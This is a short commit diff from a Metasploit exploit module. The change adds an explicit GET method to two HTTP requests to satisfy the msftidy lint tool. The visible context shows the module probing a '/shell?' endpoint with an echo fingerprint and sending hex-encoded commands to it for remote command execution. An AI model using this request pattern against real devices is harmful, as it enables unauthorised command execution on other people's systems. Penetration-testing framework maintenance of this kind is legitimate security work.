msftidy error updated 2.0
parent
d9727d991f
commit
c0f17cf6b8
|
@ -60,6 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
begin
|
||||
fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
|
||||
res = send_request_cgi(
|
||||
'method' => "GET",
|
||||
'uri' => "/shell?echo+#{fingerprint}",
|
||||
'headers' => { 'Connection' => 'Keep-Alive' }
|
||||
)
|
||||
|
@ -75,6 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def execute_command(cmd, opts)
|
||||
begin
|
||||
send_request_cgi(
|
||||
'method' => "GET",
|
||||
'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}",
|
||||
'headers' => { 'Connection' => 'Keep-Alive' }
|
||||
)
|
||||
|
|
Loading…
Reference in New Issue